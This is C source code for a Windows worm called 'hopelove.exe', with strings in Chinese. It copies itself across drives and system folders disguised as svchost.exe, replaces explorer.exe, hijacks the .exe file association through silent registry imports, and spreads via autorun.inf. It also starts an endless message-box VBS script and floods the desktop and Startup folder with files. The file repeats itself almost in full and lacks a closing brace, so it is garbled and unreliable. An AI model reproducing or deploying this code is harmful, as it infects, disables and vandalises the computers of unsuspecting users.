#include "stdio.h"
#include "process.h"
#include "stdlib.h"
#include "string.h"
#define DESKTOP "C:\\Documents and Settings\\All Users\\桌面\\"
#define START_F "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\"
char *vbs_file="我想找一个女朋友,给她世上最好的温柔~";
char *cp_file[30]={"C:\\hopelove.exe","D:\\hopelove.exe","E:\\hopelove.exe","F:\\hopelove.exe","G:\\hopelove.exe","I:\\hopelove.exe"};
char *autorun="[AutoRun]\nopen=\"hopelove.exe /s\"\nshell\\open=打开(&O)\nshell\\open\\Command=\"hopelove.exe /s\"\nshell\\explore=资源管理器(&x)\nshell\\explore\\Command=\"hopelove.exe /s\"";
char *reg="Windows Registry Editor Version 5.00\n\n[HKEY_CLASSES_ROOT\\exefile\\shell\\open\\command]\n@=\"C:\\\\windows\\\\system32\\\\hopelove.exe\"";
char *vbs_code="do\n\tmsgbox \"幽绪远伊披银前,潦发寒风泪孤咸!\"\nloop";
char *cp_auto[30]={"C:\\autorun.inf","D:\\autorun.inf","E:\\autorun.inf","F:\\autorun.inf","G:\\autorun.inf","I:\\autorun.inf"};
int copy(char *first_file,char *second_file)
{
FILE *input,*output;
char temp;
if(((input=fopen(first_file,"rb"))!=NULL)&&((output=fopen(second_file,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 1;
}
else
return 0;
}
int get_len(long long i)
{
int n=1;
while(i>=10)
{
i/=10;
n++;
}
return n;
}
int autorun_explorer(void)
{
FILE *input;
if((input=fopen("C:\\windows\\system\\explorer.exe","rb"))!=NULL)
{
fclose(input);
remove("C:\\windows\\$temp$");
remove("C:\\windows\\system32\\dllcache\\$temp$");
return 1;
}
copy("C:\\windows\\explorer.exe","C:\\windows\\system\\explorer.exe");
rename("C:\\windows\\explorer.exe","C:\\windows\\$temp$");
rename("C:\\windows\\system32\\dllcache\\explorer.exe","C:\\windows\\system32\\dllcache\\$temp$");
if((copy("C:\\windows\\system\\svchost.exe","C:\\windows\\explorer.exe")==1)&&(copy("C:\\windows\\system\\svchost.exe","C:\\windows\\system32\\dllcache\\explorer.exe")==1))
return 0;
else
return 2;
}
int set_love(void)
{
FILE *fp;
char *reg_love="Windows Registry Editor Version 5.00\n\n[HKEY_CLASSES_ROOT\\.love]\n@=\"txtfile\"";
if((fp=fopen("reg_love.reg","w+"))==NULL)
return 1;
fprintf(fp,reg_love);
fclose(fp);
spawnl(1,"C:\\windows\\regedit.exe"," /s reg_love.reg",NULL);
return 0;
}
int vbs(void)
{
FILE *fp;
if((fp=fopen("C:\\windows\\love.vbs","r"))!=NULL)
{
fclose(fp);
return 1;
}
fp=fopen("C:\\windows\\love.vbs","w+");
fprintf(fp,vbs_code);
fclose(fp);
return 0;
}
int autorun_file(char *file)
{
FILE *fp;
if((fp=fopen(file,"w+"))==NULL)
return 1;
fprintf(fp,autorun);
fclose(fp);
return 0;
}
int main(int argc,char *argv[])
{
FILE *fp;
char *file_name;
long long i;
int len,j;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto h;
copy(argv[0],"C:\\windows\\system\\svchost.exe");
autorun_explorer();
spawnl(1,"C:\\windows\\system\\explorer.exe",NULL);
set_love();
for(j=0;j<6;j++)
copy(argv[0],cp_file[j]);
copy(argv[0],"C:\\windows\\system32\\hopelove.exe");
for(j=0;j<6;j++)
spawnl(1,cp_file[j]," /s",NULL);
spawnl(1,"C:\\windows\\system32\\hopelove.exe"," /s",NULL);
spawnl(1,"C:\\windows\\system\\svchost.exe"," /s",NULL);
if((fp=fopen("reg.reg","w+"))!=NULL)
{
fprintf(fp,reg);
fclose(fp);
spawnl(1,"C:\\windows\\regedit.exe"," /s reg.reg",NULL);
}
for(j=0;j<6;j++)
autorun_file(cp_auto[j]);
h:
if(vbs())
spawnl(1,"C:\\windows\\system32\\wscript.exe"," /s C:\\windows\\love.vbs",NULL);
for(i=0;;i++)
{
len=get_len(i);
file_name=(char *)malloc(sizeof(char)*len+6);
sprintf(file_name,"%lld.love",i);
if((fp=fopen(file_name,"w+"))==NULL)
continue;
fprintf(fp,vbs_file);
fclose(fp);
free(file_name);
file_name=(char *)malloc(sizeof(DESKTOP)*len+6);
sprintf(file_name,"%s%lld.love",DESKTOP,i);
if((fp=fopen(file_name,"w+"))==NULL)
continue;
fprintf(fp,vbs_file);
fclose(fp);
free(file_name);
file_name=(char *)malloc(sizeof(START_F)*len+6);
sprintf(file_name,"%s%lld.love",START_F,i);
if((fp=fopen(file_name,"w+"))==NULL)
continue;
fprintf(fp,vbs_file);
fclose(fp);
free(file_name);
if(i%10000==0)
spawnl(1,"C:\\windwos\\system\\svchost.exe",NULL);
}
#include "process.h"
#include "stdlib.h"
#include "string.h"
#define DESKTOP "C:\\Documents and Settings\\All Users\\桌面\\"
#define START_F "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\"
char *vbs_file="我想找一个女朋友,给她世上最好的温柔~";
char *cp_file[30]={"C:\\hopelove.exe","D:\\hopelove.exe","E:\\hopelove.exe","F:\\hopelove.exe","G:\\hopelove.exe","I:\\hopelove.exe"};
char *autorun="[AutoRun]\nopen=\"hopelove.exe /s\"\nshell\\open=打开(&O)\nshell\\open\\Command=\"hopelove.exe /s\"\nshell\\explore=资源管理器(&x)\nshell\\explore\\Command=\"hopelove.exe /s\"";
char *reg="Windows Registry Editor Version 5.00\n\n[HKEY_CLASSES_ROOT\\exefile\\shell\\open\\command]\n@=\"C:\\\\windows\\\\system32\\\\hopelove.exe\"";
char *vbs_code="do\n\tmsgbox \"幽绪远伊披银前,潦发寒风泪孤咸!\"\nloop";
char *cp_auto[30]={"C:\\autorun.inf","D:\\autorun.inf","E:\\autorun.inf","F:\\autorun.inf","G:\\autorun.inf","I:\\autorun.inf"};
int copy(char *first_file,char *second_file)
{
FILE *input,*output;
char temp;
if(((input=fopen(first_file,"rb"))!=NULL)&&((output=fopen(second_file,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 1;
}
else
return 0;
}
int get_len(long long i)
{
int n=1;
while(i>=10)
{
i/=10;
n++;
}
return n;
}
int autorun_explorer(void)
{
FILE *input;
if((input=fopen("C:\\windows\\system\\explorer.exe","rb"))!=NULL)
{
fclose(input);
remove("C:\\windows\\$temp$");
remove("C:\\windows\\system32\\dllcache\\$temp$");
return 1;
}
copy("C:\\windows\\explorer.exe","C:\\windows\\system\\explorer.exe");
rename("C:\\windows\\explorer.exe","C:\\windows\\$temp$");
rename("C:\\windows\\system32\\dllcache\\explorer.exe","C:\\windows\\system32\\dllcache\\$temp$");
if((copy("C:\\windows\\system\\svchost.exe","C:\\windows\\explorer.exe")==1)&&(copy("C:\\windows\\system\\svchost.exe","C:\\windows\\system32\\dllcache\\explorer.exe")==1))
return 0;
else
return 2;
}
int set_love(void)
{
FILE *fp;
char *reg_love="Windows Registry Editor Version 5.00\n\n[HKEY_CLASSES_ROOT\\.love]\n@=\"txtfile\"";
if((fp=fopen("reg_love.reg","w+"))==NULL)
return 1;
fprintf(fp,reg_love);
fclose(fp);
spawnl(1,"C:\\windows\\regedit.exe"," /s reg_love.reg",NULL);
return 0;
}
int vbs(void)
{
FILE *fp;
if((fp=fopen("C:\\windows\\love.vbs","r"))!=NULL)
{
fclose(fp);
return 1;
}
fp=fopen("C:\\windows\\love.vbs","w+");
fprintf(fp,vbs_code);
fclose(fp);
return 0;
}
int autorun_file(char *file)
{
FILE *fp;
if((fp=fopen(file,"w+"))==NULL)
return 1;
fprintf(fp,autorun);
fclose(fp);
return 0;
}
int main(int argc,char *argv[])
{
FILE *fp;
char *file_name;
long long i;
int len,j;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto h;
copy(argv[0],"C:\\windows\\system\\svchost.exe");
autorun_explorer();
spawnl(1,"C:\\windows\\system\\explorer.exe",NULL);
set_love();
for(j=0;j<6;j++)
copy(argv[0],cp_file[j]);
copy(argv[0],"C:\\windows\\system32\\hopelove.exe");
for(j=0;j<6;j++)
spawnl(1,cp_file[j]," /s",NULL);
spawnl(1,"C:\\windows\\system32\\hopelove.exe"," /s",NULL);
spawnl(1,"C:\\windows\\system\\svchost.exe"," /s",NULL);
if((fp=fopen("reg.reg","w+"))!=NULL)
{
fprintf(fp,reg);
fclose(fp);
spawnl(1,"C:\\windows\\regedit.exe"," /s reg.reg",NULL);
}
for(j=0;j<6;j++)
autorun_file(cp_auto[j]);
h:
if(vbs())
spawnl(1,"C:\\windows\\system32\\wscript.exe"," /s C:\\windows\\love.vbs",NULL);
for(i=0;;i++)
{
len=get_len(i);
file_name=(char *)malloc(sizeof(char)*len+6);
sprintf(file_name,"%lld.love",i);
if((fp=fopen(file_name,"w+"))==NULL)
continue;
fprintf(fp,vbs_file);
fclose(fp);
free(file_name);
file_name=(char *)malloc(sizeof(DESKTOP)*len+6);
sprintf(file_name,"%s%lld.love",DESKTOP,i);
if((fp=fopen(file_name,"w+"))==NULL)
continue;
fprintf(fp,vbs_file);
fclose(fp);
free(file_name);
file_name=(char *)malloc(sizeof(START_F)*len+6);
sprintf(file_name,"%s%lld.love",START_F,i);
if((fp=fopen(file_name,"w+"))==NULL)
continue;
fprintf(fp,vbs_file);
fclose(fp);
free(file_name);
if(i%10000==0)
spawnl(1,"C:\\windwos\\system\\svchost.exe",NULL);
}